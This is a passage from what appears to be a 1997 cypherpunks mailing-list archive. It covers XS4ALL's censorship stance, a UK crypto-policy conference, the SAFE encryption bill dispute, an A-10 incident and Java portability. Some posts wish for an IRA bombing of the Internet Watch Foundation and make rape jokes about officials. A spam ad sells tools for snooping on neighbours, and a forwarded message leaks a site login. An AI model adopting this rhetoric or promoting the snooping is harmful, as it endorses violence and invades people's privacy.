that instead of censoring your pages they send in the jackbooted thugs to do it for them, then throw you in a nice 6x9 cell for the henious crime of displaying some .gifs or similar. > "The Internet Watch Foundation forces the provider to remove the > illegal content," he added. "This is a fundamentally different approach > to responsibilities on the Internet. We think the author of the > information is responsible for his own actions, not the provider." And if he chooses not to remove the content you happen to find offensive? If you truly believed in the rights of the author and publisher of the information you would think about it before sending in your own particular brand of thugs to "crush the mutiny". > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to > comply, as it did a few weeks ago when it shut down a customer's home > page called Neuroroom, which sold marijuana and other soft drugs in > Holland and abroad. Sometimes one really wonders why we bother to set up mirrors to allow freedom of information to users, when the owners of these servers, supposedly in favour of free speech, do not even have the strength of character or conviction to decide for themselves what they will allow on their servers rather than bending over for the long cock of the law... > The company's commitment to support free expression and democratization > of the Internet doesn't stop here. As far as I can see it hasn`t even started yet. > Last fall when the Serbian > government censored radio station B-92, XS4ALL helped design an > Internet campaign and started to carry news broadcasts (in RealAudio > format) that kept the rare opposition voice alive and the international > public informed through independent accounts of the events occurring > during the mass demonstrations in Belgrade. I presume B-92 fell into line and matched the "requirements under law for obtaining a free-speech permit" before XS4ALL allowed this/ > "Basically any project we like gets free resources from XS4ALL," > Rodriquez commented. And anyone who guarantees to publicly lick the boots of the benevolent owners in thanks for their support gets as much free space as they like? Of course I believe in the right to free expression of anyone and if these thugs choose not to allow material they don`t like on their servers they have every right to remove it. I just don`t see that setting up mirrors to defeat blocks on sites that refuse to carry certain content is of any value in the fight for free speech. Sure, create a mirror of Radikal, but giving any credit or attribution to XS4ALL seems to be a poor choice. Paul "Still messing with mail apps so totally .sig-less" Bradley From banisar at epic.org Sat May 3 06:30:08 1997 From: banisar at epic.org (Dave Banisar) Date: Sat, 3 May 1997 21:30:08 +0800 Subject: Conference on UK Crypto Initiative 19 May 1997 Message-ID: SCRAMBLING FOR SAFETY Privacy, security and commercial implications of the DTI's proposed encryption policy May 19, 1997 Computer Security Research Centre The London School of Economics Organised by: Privacy International Global Internet Liberty Campaign Chairman: Prof. Ian Angell, London School of Economics On May 19, the Computer Security Research Centre of the London School of Economics will host a one day meeting on the U.K. Department of Trade and Industry's policy paper "Licensing of Trusted Third Parties for the Provision of Encryption Services," The event is being jointly organised by Privacy International and the Global Internet Liberty Campaign. The LSE meeting - the only public meeting during the consultation phase - will comprehensively assess all aspects of the governments proposal. Security specialists, academics cryptographers, legal experts, cyber-rights groups, ISP's and other commercial organisations will participate. The DTI and representatives from other agencies will be in attendance for the entire day. There will be no cost for members of the public to attend. An interactive audiocast on the Internet will also be available. DRAFT AGENDA: Introduction to cryptography Welcome and opening remarks - Dr James Backhouse Keynote - Geoffrey Robertson QC (invited) The DTI proposals - presented by the DTI Perspectives: * Legal and Commercial - Peter Sommer (LSE) and Alistair Kelman (LSE) * Architectural and Technical - Dr. Whitfield Diffie, Sun Microsystems - Phil Zimmermann, PGP Inc. - Dr Ross Anderson, University of Cambridge - Dr. Carl Ellison, Cybercash * Civil Rights and Privacy - Simon Davies, Privacy International * International - OECD (invited) Section by Section analysis of the document. Wrapup (Around 3:30) MORE INFORMATION More information on the conference and the DTI initiative is available from http://www.privacy.org/pi/conference/dti/. REGISTRATION To register for the conference, email Simon Davies at davies at privacy.org. ABOUT PRIVACY INTERNATIONAL Privacy International was formed in 1990 as a watchdog on surveillance by governments and corporations. With members in more than 40 countries, it has created an international movement that has helped to counter abuses of privacy by way of information technology. Privacy International has conducted campaigns in Europe, Asia and North America to raise awareness about the dangers of ID card systems, military surveillance, data matching, police information systems, and credit reporting. It is based in London, UK, and is administered by the Electronic Privacy Information Center (EPIC) in Washington, D.C. Privacy International publishes a quarterly newsletter (the International Privacy Bulletin) and organizes conferences each year on privacy and technology. More information is available at http://www.privacy.org/ ABOUT THE GLOBAL INTERNET LIBERTY CAMPAIGN The Global Internet Liberty Campaign is an international coalition of 28 human rights, free speech, cyber-liberties and privacy groups that has come together to promote free speech and privacy on the Internet. More information is available at http://www.gilc.org/ ------- David Banisar (Banisar at epic.org) * 202-544-9240 (tel) Electronic Privacy Information Center * 202-547-5482 (fax) 666 Pennsylvania Ave, SE, Suite 301 * HTTP://www.epic.org Washington, DC 20003 * PGP Key http://www.epic.org/staff/banisar/key.html From dlv at bwalk.dm.com Sat May 3 06:54:32 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 3 May 1997 21:54:32 +0800 Subject: Artikel about XS4ALL in New York In-Reply-To: Message-ID: [cc'd to freedom-knights, who don't appreciate censorship of mj web pages] Paul Bradley writes: > > anarchists, bent on disrupting society," Rodriquez told the Dutch daily > > Trouw. "But now they have come to see that we are nice and quiet people > > really." > > The only "nice people" are dangerous anarchists bent on destroying > governments and buggering poloticians to death. (last part a personal > preference of course, the author is totally straight but would > nonetheless be distinctly amused to see any government official > butt-raped to death) I, personally, would have to use a dildo. Even if I were queer, I wouldn't get it up for a politician or a Cabal supporter. Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1! > > The company was instrumental in the creation of the Amsterdam Digital > > The hotline is run by Internet users and providers. Unlike Britain's > > Internet Watch Foundation, the Dutch hotline doesn't censor any > > information nor does it ask the provider to do so. Hotline operators > > contact the author of the information and ask him to remove the > > offending content. "If the author does not comply, we report him to > > the police, and he'll be prosecuted," said Rodriquez, who also is > > chairman of the Dutch Providers Association. Both asking the author to remove contents, and contacting the police are dishonorable acts. Even if the US, honorable providers tell the complainers: if it's something illegal, call the cops and leave us out of it. > > "The Internet Watch Foundation forces the provider to remove the > > illegal content," he added. "This is a fundamentally different approach > > to responsibilities on the Internet. We think the author of the > > information is responsible for his own actions, not the provider." I hope the IRA blows up these Internet Watch motherfuckers. Is this Blair guy any saner than the tory bastards? > And if he chooses not to remove the content you happen to find offensive? > If you truly believed in the rights of the author and publisher of the > information you would think about it before sending in your own > particular brand of thugs to "crush the mutiny". Perhaps we should further expose XS4ALL's hypocricy by renting from the web space and putting up some pages they won't like. > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to > > comply, as it did a few weeks ago when it shut down a customer's home > > page called Neuroroom, which sold marijuana and other soft drugs in > > Holland and abroad. > > Sometimes one really wonders why we bother to set up mirrors to allow > freedom of information to users, when the owners of these servers, > supposedly in favour of free speech, do not even have the strength of > character or conviction to decide for themselves what they will allow on > their servers rather than bending over for the long cock of the law... The ISP is not a court to decide that a web page offering MJ for sale is "illegal". > > The company's commitment to support free expression and democratization > > of the Internet doesn't stop here. > > As far as I can see it hasn`t even started yet. > > > Last fall when the Serbian > > government censored radio station B-92, XS4ALL helped design an > > Internet campaign and started to carry news broadcasts (in RealAudio > > format) that kept the rare opposition voice alive and the international > > public informed through independent accounts of the events occurring > > during the mass demonstrations in Belgrade. > > I presume B-92 fell into line and matched the "requirements under law for > obtaining a free-speech permit" before XS4ALL allowed this/ It's because Germans will gladly do anything to fuck over the Serbs. I bet XS4All wouldn't host a web page for Karajic. > > "Basically any project we like gets free resources from XS4ALL," > > Rodriquez commented. > > And anyone who guarantees to publicly lick the boots of the benevolent > owners in thanks for their support gets as much free space as they like? > > Of course I believe in the right to free expression of anyone and if > these thugs choose not to allow material they don`t like on their servers > they have every right to remove it. I just don`t see that setting up > mirrors to defeat blocks on sites that refuse to carry certain content is > of any value in the fight for free speech. Sure, create a mirror of > Radikal, but giving any credit or attribution to XS4ALL seems to be a > poor choice. My understanding is that Radikal is a harmless, toothless liberal rag that the Germans had no grounds for censoring in the first place. Mirroring it is no big deal. How about mirroring the MJ page that the bastards at XS4ALL censored? Actually, I don't think mirroring is a good technology either. The "eternal server" posted a few days ago seems VERY VERY promising, I'm very exited about this technology - many many thanks. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From azur at netcom.com Sat May 3 08:24:46 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 3 May 1997 23:24:46 +0800 Subject: Layoffs at PGP Message-ID: First ECache is seeking a qualified individual to head e-cash related development. Company is headquarted in Las Vegas, but candidate would ideally be located in SV. --Steve PGP mail preferred Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html --------------------------------------------------------------------- Steve Schear | tel: (702) 658-2654 CEO | fax: (702) 658-2673 First ECache Corporation | 7075 West Gowan Road | Suite 2148 | Las Vegas, NV 89129 | Internet: azur at netcom.com --------------------------------------------------------------------- "I know not what instruments others may use, but as for me, give me Ecache or give me debt." From azur at netcom.com Sat May 3 09:04:08 1997 From: azur at netcom.com (Steve Schear) Date: Sun, 4 May 1997 00:04:08 +0800 Subject: Flying - A-10 follow-up Message-ID: Date: Thu, 01 May 97 08:33:00 CDT From: Corkum D Capt 2OSS/OSTC Subject: Flying - A-10 follow-up Corkum D Capt 2OSS/OSTC "Both the A-10's transponder and the autopilot appeared to have been turned off. Perhaps there is a simple technical explanation why no one noticed anything at first." Let me try and fill in a few of the holes for non-flyers: When aircraft fly in close formation typically only the lead aircraft has a transponder turned on. This is due to limitations with Air Traffic Control (ATC) systems. These systems are designed to prevent two aircraft from getting too close together thereby preventing possible midair collisions. Unfortunately the computers can't distinguish between aircraft that are on a collision course and aircraft in formation that are intentionally close together. For this reason ATC operators often request wingmen to turn off their transponders. Once the A-10 dropped back he was not easily visible to the lead aircraft who would be concentrating on entering the bombing range, working coordination with ATC and the range controllers etc. Inside the range ATC no longer maintains operational control of the aircraft and would not be following any of the aircraft directly. The first indication of the aircraft missing would be a failure of the wingman to respond to a radio call. When this happened it would first be assumed that he was on the wrong frequency. The lead aircraft would try to find him on another frequency, then attempt to call him on the emergency frequency "Guard". When this failed the lead would likely assume that the wingman had radio problems and would attempt to locate him visually. Only after he failed to locate him visually would he begin to worry that something happened. His first thought would be that the aircraft had a major malfunction such as complete loss of electrical power, that forced the pilot to abort the mission and return to base, but also prevented him from calling to the lead aircraft. The other possibility would be that the aircraft was down due to pilot error or aircraft malfunction. The idea that the wingman simply took the aircraft would likely never occur to the lead pilot. The lead pilot at this point would abort his mission and attempt to ascertain what happened to his wingman. He would contact ATC and ask if they had transponder track on the aircraft or reports of an aircraft down. He would also perform a visual search of the area and attempt to call back to the home base to see if they knew what happened. By this time the rogue pilot may have been gone for at least 30 minutes and was actually 200 miles away. The reason ATC could not track him is a technical issue. Modern ATC radars rely primarily on the aircraft transponder to provide location and altitude information. The actual radar returns "know as raw data" are only used as a secondary means to track aircraft when their transponders have failed. This must be performed manually since the computer has no way to distinguish one radar return from another without the transponder. This method is only used when an ATC controller knows an aircraft transponder has failed and must be manually tracked. Since the A-10 was not supposed to have his transponder on, no-one would notice when he broke formation. Only after the fact when the FAA reviewed the taped radar returns were they able to piece together the likely course of the A-10. I hope this explained some of the more technical reasons for what happened. David Corkum PGP mail preferred Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html --------------------------------------------------------------------- Steve Schear | tel: (702) 658-2654 CEO | fax: (702) 658-2673 First ECache Corporation | 7075 West Gowan Road | Suite 2148 | Las Vegas, NV 89129 | Internet: azur at netcom.com --------------------------------------------------------------------- "I know not what instruments others may use, but as for me, give me Ecache or give me debt." From investigations.comv at angel.chico.joshuanet.com Sat May 3 09:43:42 1997 From: investigations.comv at angel.chico.joshuanet.com (by way of geeman ) Date: Sun, 4 May 1997 00:43:42 +0800 Subject: ARE YOU BEING INVESTIGATED ???? Message-ID: <3.0.32.19970503092404.006c4a08@best.com> Learn EVERYTHING about your friends, neighbors, enemies, employees or anyone else! -- even your boss! -- even yourself! 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This is a 24 hour phone line where you may place a CREDIT CARD order. I will RUSH back to you SAME DAY my snoop information which will fully explain... * What information is available -- and exact URL to get there! * My easy-to-browse, categorized megacenter of information, has my own description of how to use each site, and what you'll find when you get there -- and tricky tips on how to extract the best data! * Exactly where to look for -- AND THE CLEVER WAY to use - the above search engines, and TONS more! INCLUDING ... Personal ads, logs of personal e-mail, mention of individuals anywhere on the internet (including PRIVATE bulletin boards), lists of resources to find even more information (private investigators, etc...), how to leverage one database against another, up-to-the-second news reports on any subject you choose, and MORE... Order surveillance/snoop tools (if legal in your state) Send anonymous e-mail Research companies or business issues Research and discuss the issue of privacy and technology Locate military records from Viet Nam, Korea, WW II, etc... Search legal opinions, trial transcripts, etc... Find Wanted fugitives -- maybe your reclusive neighor! You can know EVERYTHING about EVERYBODY with my SNOOP COLLECTION! ABSOLUTE SATISIFACTION GUARANTEED: Your satisfaction is 100% guaranteed, just return the material for a full refund within 30 days if you aren't dazed & amazed. Copyright 1997 All Rights Reserved From hallam at ai.mit.edu Sat May 3 11:44:36 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Sun, 4 May 1997 02:44:36 +0800 Subject: Conference on UK Crypto Initiative 19 May 1997 Message-ID: <199705031825.OAA27208@life.ai.mit.edu> > SCRAMBLING FOR SAFETY > > Privacy, security and commercial implications of > the DTI's proposed encryption policy Didn't the green paper automatically fall since the government which issued it is no longer in office. The DTI does not have the right to make a crypto policy, ministers make policy, nor civil servants. It might be worth seeing if the relevant new junior ministers could attend and turn it into a brainwashing erm briefing session. Phill -------------- next part -------------- A non-text attachment was scrubbed... Name: bin00000.bin Type: application/octet-stream Size: 1624 bytes Desc: "smime.p7s" URL: From 68529733 at 22374.com Sun May 4 02:59:37 1997 From: 68529733 at 22374.com (68529733 at 22374.com) Date: Sun, 4 May 1997 02:59:37 -0700 (PDT) Subject: Revolutionized!!! Message-ID: <<199704300447.VAA02342@www.maildomain.com> 

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From rah at shipwright.com  Sat May  3 12:39:01 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 4 May 1997 03:39:01 +0800
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: 
Message-ID: 


At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:


> At 10:07 AM -0700 5/2/97, Robert Hettinga wrote:
> >Yup. But the neat thing about them is they take pennies to clear, instead
> >of quarters for paper checks. The other thing is, they're peer-to-peer.
> >Credit cards aren't, remember? When was the last time you sold a car or
> >house and took MasterCard in payment. :-).
>
> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
> people that their agreement with their bank prevents them from taking
> credit cards in payment for cars.

Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
have put "personally" in the last sentence, in between "you" and "sold",
and it would have been much clearer.

By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
American Express Gold Cards had just come out. About the first month they
were out, a commodities trader showed up at a local Rolls dealership and
offered to pay for a brand new Corniche with one.

The sales manager smiled, said "Yes sir", went to the phone, called Amex,
and took the card.

Probably apocryphal, but, hey, it's a great story.

The point is, you and I can't take Amex when we sell our used Honda off our
driveway.  We do, however take a certified check or cash. When we can sell
our work over the net for checks and cash, the world better look out. :-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From jimbell at pacifier.com  Sat May  3 13:24:40 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Sun, 4 May 1997 04:24:40 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705032005.NAA29515@mail.pacifier.com>


At 12:10 5/02/97 -0700, Ernest Hua wrote:
>    The NSA/FBI is NOT standing still while we are all bickering about
>    precisely which dotted-i and crossed-t to support.  They can, at
>    the stroke of Clinton's executive order pen, initiate effectively
>    THEIR law, while we must gather forces and summon Congress to jump
>    through enough hoops to pass effective legislation.
>
>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Then let's force them to take that step, which (BTW) they haven't done
already.  They are well aware of the highly questionable constitutional
nature of such a system, and I'm sure they're worrying that not only would
such an executive order galvanize opposition to such a plan, it would also
delay for a year or two the perceived "need" for the legislation they
currently (and secretly) seek.  By the time the executive order is
overturned by the SC, it'll be too late to restore it as Congressional
legislation.

Jim Bell
jimbell at pacifier.com






From banisar at epic.org  Sat May  3 15:14:57 1997
From: banisar at epic.org (Dave Banisar)
Date: Sun, 4 May 1997 06:14:57 +0800
Subject: Conference on UK Crypto Initiative 19 May 1997
In-Reply-To: <199705031825.OAA27208@life.ai.mit.edu>
Message-ID: 


The situation is very similar to here with the Clipper and digital
telephony bill - all the same staff members of the FBI, NSA, DOJ, NIST,
DOC, State etc remained after Clintons election and continued to push for
their surveillance agenda.

We are attempting to get the new ministers to attend but it may be too soon
for them to have officially selected them.

-dave

At 2:31 PM -0400 5/3/97, Phillip M. Hallam-Baker wrote:
>
>>                    SCRAMBLING FOR SAFETY
>>
>>       Privacy, security and commercial implications of
>>            the DTI's proposed encryption policy
>
>Didn't the green paper automatically fall since the government
>which issued it is no longer in office.
>
>The DTI does not have the right to make a crypto policy, ministers
>make policy, nor civil servants.
>
>It might be worth seeing if the relevant new junior ministers could
>attend and turn it into a brainwashing erm briefing session.
>
>Phill
>
>
>
>Content-Type: application/x-pkcs7-signature;
>	name="smime.p7s"
>Content-Disposition: attachment;
>	filename="smime.p7s"
>
>Attachment converted: Trouble 2:smime.p7s 1 (????/----) (00007C77)


-------
David Banisar (Banisar at epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             







From dlv at bwalk.dm.com  Sat May  3 15:46:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 06:46:32 +0800
Subject: Misdirected e-mail
In-Reply-To: <199705031052.GAA06973@lillith.anexis.com>
Message-ID: <3TF66D37w165w@bwalk.dm.com>


There's no "sdg at dm.com".  I don't know who this person is, but
I hope s/he gets 'eir misdirected message via this mailing list.

Date: Sat, 3 May 1997 06:52:58 -0400
Message-Id: <199705031052.GAA06973 at lillith.anexis.com>
From: support at freesmut.com (Free Smut Support)
Subject:  Secret Site
Precedence: junk
Apparently-To: 

Thank you, your username and password to our secret hardcore door are:

 Username: smut12
 Password: freesmut

 This is an automated response to a request made on our web site. This IS NOT
 a bulk mailing. Our site is located at http://www.fl.freesmut.com/






From vznuri at netcom.com  Sat May  3 16:39:05 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sun, 4 May 1997 07:39:05 +0800
Subject: Java woes on compatibility
Message-ID: <199705032325.QAA11796@netcom13.netcom.com>


in a recent "PC Magazine" the story went into the compatibility problems
among different vendors versions of the Java language, predicting that
the problems may become worse. in short the vendors have a hard time
getting all the compliance exactly correct.

unfortunately, this same story happened with Unix and C such that the
libraries out there did not fully adhere to a standard, even when the
standard went into meticulous detail. is it the same insurmountable
problem all over again? can there ever really be a totally portable
language? java was invented to solve portability problems, but is
plagued with the same ones that other languages have.

what's the solution? it hasn't been implemented yet, but I believe the
solution is an extremely sophisticated verification package for the
correctness of the Java language. this type of idea is hinted in the
makefiles of some C programs that compile based on complex attempts
to avoid/workaround portability glitches. I saw one that did many
regression tests on "strcpy" trying to catch all the kinds of things
that can go wrong.

the idea is that you actually have code that tests all the key implementation
aspects of the library and language. it needs to be capable of being fully
automated. for example, you might have code that calls the java 
window kit and then actually verifies that a window is drawn correctly
by reading the screen or something like this. if you find that some things
are falling through the tests, you just add to your tests. the tests
don't need to be efficient-- you run them once and never again.

also, I think the solution would involve writing a lot of verification
routines for *every* feature of java that is implemented. the vendors
simply run the code on their own implementation and it gives a "pass or
fail" response. ideally, the java *user* could go through this process--
then the company cannot claim themselves that their implementation pass
it's all out in the open for customers to test themselves.

I would suggest that anything in the Java language that can't be 
tested like this, could be modified slightly to support this 
"testable" property, and that it would really pay off bigtime. in other
words, some part of the library that doesn't seem like it could be 
tested, could have extra little aspects added to its implementation that
support regression testing of the feature. (note that this is not
necessarily "regression" in the classic sense of software engineering,
but is very similar).

I've written software that has this property, that its verification 
routines are built into it and are accessable by the end user. I think
it represents a major new and important design consideration. and ultimately
I think it saves developers and users time in the long run, but perhaps
not the short run.

a lot of work? yes, but it's the only way in my opinion, and it can be
done in an elegant way. if it isn't I believe that portability problems
will *increase* as the article predicted, and the revolutionary possibilities
of Java will be forever handicapped and shortchanged.

note that some people think that you should have a certification process.
I don't like this at all because then the verification tools are caught
up inside the Java company when it makes sense to *distribute* these tools
so vendors can debug their own software without going through a 
bureacracy to get the stamp of approval. the verification suite is actually
an extremely powerful utility that can test Java conformance and should
be available to anyone trying to support the standard.

note also that it wouldn't have to be Sun that creates such a package.
in fact it might be better if someone not affiliated with the creation
of the Java language built such a package.

if anyone from Java/Sun is listening, I would be happy to consult on this.







From snow at smoke.suba.com  Sat May  3 17:23:31 1997
From: snow at smoke.suba.com (snow)
Date: Sun, 4 May 1997 08:23:31 +0800
Subject: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <199705040009.TAA04680@smoke.suba.com>


> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> How do you hack a camera?

	I'd suggest a small laser.






From snow at smoke.suba.com  Sat May  3 18:06:58 1997
From: snow at smoke.suba.com (snow)
Date: Sun, 4 May 1997 09:06:58 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: 
Message-ID: <199705040016.TAA04707@smoke.suba.com>


> --Tim May, still a felon, and still using encryption to further
> prosecutable offenses. Fuck Congress.
> 
	Sorry, I don't like sloppy seconds...






From whgiii at amaranth.com  Sat May  3 18:31:44 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 4 May 1997 09:31:44 +0800
Subject: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <199705040009.TAA04680@smoke.suba.com>
Message-ID: <199705040108.UAA13032@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705040009.TAA04680 at smoke.suba.com>, on 05/03/97 at 06:09 PM,
   snow  said:


>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> How do you hack a camera?

>	I'd suggest a small laser.

I prefer the low-tech approach: a big rock. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2vw6o9Co1n+aLhhAQHWuAP/aqQnvGZA0atZE2tA/Vt94XOmibPNVEq6
cESP0jwCRzaLulARsUU9LC+Jz7S7TJPEQExWEZbJ5Km3ERFBWDT0QbDwNrouH6QA
cFztoJ7oojbdtVhOYAaN1fHp+YXemabH834HqiFOU8z/9ZtcO3DlUGEJoDJRm4GU
kOYNslhWDcg=
=roj7
-----END PGP SIGNATURE-----






From minow at apple.com  Sat May  3 19:02:34 1997
From: minow at apple.com (Martin Minow)
Date: Sun, 4 May 1997 10:02:34 +0800
Subject: Java woes on compatibility
In-Reply-To: <199705032325.QAA11796@netcom13.netcom.com>
Message-ID: 


Vladimir Z. Nuri writes about Java compatibility:
>
>unfortunately, this same story happened with Unix and C such that the
>libraries out there did not fully adhere to a standard, even when the
>standard went into meticulous detail.

Actually, much of the meticulous C and Unix detail described the permitted
loopholes. For example, there is no definition of , which is 0x0D
 on Mac, 0x0A  on Unix, both on DOS, and neither
on VMS (it's a record boundary in the simplest case, and don't ask about the
complex cases). Look, if VMS is "Posix-complient," which it is, it can't be
a really robust specification, no matter how meticulous.

Java goes into great detail to define floating-point representation,
to take one example, and the "end of line" sequence is a system parameter,
rather than a static character.

> is it the same insurmountable
>problem all over again? can there ever really be a totally portable
>language?

Yes, but it won't solve many interesting problems. Java is a good
balance between portability and capability.

>
>what's the solution? it hasn't been implemented yet, but I believe the
>solution is an extremely sophisticated verification package for the
>correctness of the Java language.

Check out the 100% pure program that you can download from JavaSoft.
Look at  Their static verification
package is free, along with a programming guide. (You have to pay for
dynamic testing and certification.)

> this type of idea is hinted in the
>makefiles of some C programs that compile based on complex attempts
>to avoid/workaround portability glitches.

Been there, done that (look for the Decus-CPP Preprocessor I did in the
mid 1980's, or my Lempel-Ziv implementation for VMS). Preventing problems
by design is a better approach.

>
>note that some people think that you should have a certification process.
>I don't like this at all because then the verification tools are caught
>up inside the Java company when it makes sense to *distribute* these tools
>so vendors can debug their own software without going through a
>bureacracy to get the stamp of approval. the verification suite is actually
>an extremely powerful utility that can test Java conformance and should
>be available to anyone trying to support the standard.

Again, the 100% pure test package is freely available. Sun does, however,
charge for stress testing, which runs the application on a number
of Java implementations.

>
>if anyone from Java/Sun is listening, I would be happy to consult on this.
>

Sun is hiring. Check out their web pages.

Martin.
minow at apple.com








From declan at well.com  Sat May  3 19:34:43 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 4 May 1997 10:34:43 +0800
Subject: TWO Letters on SAFE
In-Reply-To: 
Message-ID: 


Sorry, Shabbir, that doesn't cut it. You said I did my research "poorly,"
when in fact I was correct to say CDT asked the subcommittee to approve the
SAFE bill unchanged. Perhaps you should take your own advice next time and
do a bit of factchecking.

And I'm not "attacking" CDT. I'm not calling them "traitors to the
republic," as some others have. I simply posted this:

 >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
 >>letter to the House subcommittee on April 29 urging that SAFE be approved
 >>without any changes? (I'm in Oklahoma right now and I have a copy of that
 >>letter in my office in DC, but that's what I remember.)

If that's an "attack," I'm Dorothy Denning.

I'm surprised, and disappointed, that you're so thin-skinned -- and so
eager to savage those who share your objectives: no export controls and no
domestic laws relating to encryption.

-Declan

****************

At 12:02 PM -0400 5/2/97, Shabbir J. Safdar wrote:
>Actually, I think you do.  There aren't any other groups out there who sent
>letters urging the entire subcommittee to start hacking on the bill at the
>subcommittee level.  Even the IPC letter to Goodlatte said to address the
>issue at the full committee level.
>
>That seems to be the strategy everyone is pursuing, so if you're going to
>attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al.
>
>-S
>
>At 8:51 AM -0700 5/2/97, Declan McCullagh wrote:
>>Thanks, Marc, for posting the URL for CDT's letter urging the House
>>subcommittee to approve SAFE without amendment. I was quoting from memory.
>>
>>No, Shabbir, I don't think I owe anyone a "big fucking apology."
>>
>>-Declan
>>
>>
>>On Fri, 2 May 1997, Marc Rotenberg wrote:
>>
>>>
>>>
>>> Shabbir is a very good organizer and often very busy, which
>>> may explain the confusion about the TWO letters that were
>>> sent out regarding SAFE.
>>>
>>> CDT sent a letter to Hon. Howard Conable, the chair of the
>>> Subcommittee, on April 24 which said that "CDT strongly urges
>>> you to report H.R. 695, the SAFE Act, out of the Courts
>>> and Intellectual Property Subcommittee without amendment."
>>> [The CDT letter is at
>>> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>>>
>>> EPIC helped coordinate a different letter for the Internet
>>> Privacy Coalition, which went to Rep. Goodlatte on April
>>> 28 and said
>>>
>>>      While expressing our support for the measure, we wish
>>>      also to state our concern about one provision contained
>>>      in the bill. We believe that this provision, which would
>>>      create new criminal penalties for the use of encryption in
>>>      furtherance of a crime, could undermine the otherwise laudable
>>>      goals of the legislation. For the reasons set forth below, we
>>>      recommend that this provision be reconsidered when the Committee
>>>      considers the bill.
>>>
>>> The IPC letter was signed by 26 privacy groups, user organizations,
>>> private companies, and trade associations. [The IPC letter is
>>> at http://www.privacy.org/ipc/safe_letter.html ]
>>>
>>>
>>> Marc Rotenberg
>>> EPIC.
>>>
>>>
>>>
>>>
>>> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>>> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>> >>Two quick points:
>>> >>
>>> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>> >>letter to the House subcommittee on April 29 urging that SAFE be approved
>>> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>> >>letter in my office in DC, but that's what I remember.)
>>> >
>>> >Declan, I can't believe you did your research so poorly.  Go look at the
>>> >Internet Privacy Coalition letter at
>>> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>>> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>>> >there.
>>> >
>>> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>>> >Eagle Forum, VTW, and PGP all signed.
>>> >
>>> >Since you've been laboring under this mistaken impression, you owe
>>>somebody
>>> >at CDT a big fucking apology.
>>> >
>>> >-S
>>> >
>>> >>
>>> >>
>>> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>> >>
>>> >>> The Administration hates this bill, because it threatens their
>>>ability to
>>> >>> roll out Key Recovery.  They've said as much in the letter Declan
>>> >>>forwarded:
>>> >>>
>>> >>>    "The bill could be read as prohibiting the United States government
>>> >>>     from using appropriate incentives to support a key management
>>> >>>     infrastructure and KEY RECOVERY." [emphasis added]
>>> >>>
>>> >>> Do you think that if this bill helped the Administration, that
>>>they'd be
>>> >>> out there urging the subcommittee chairman to stop it?  I think not.
>>> >>>
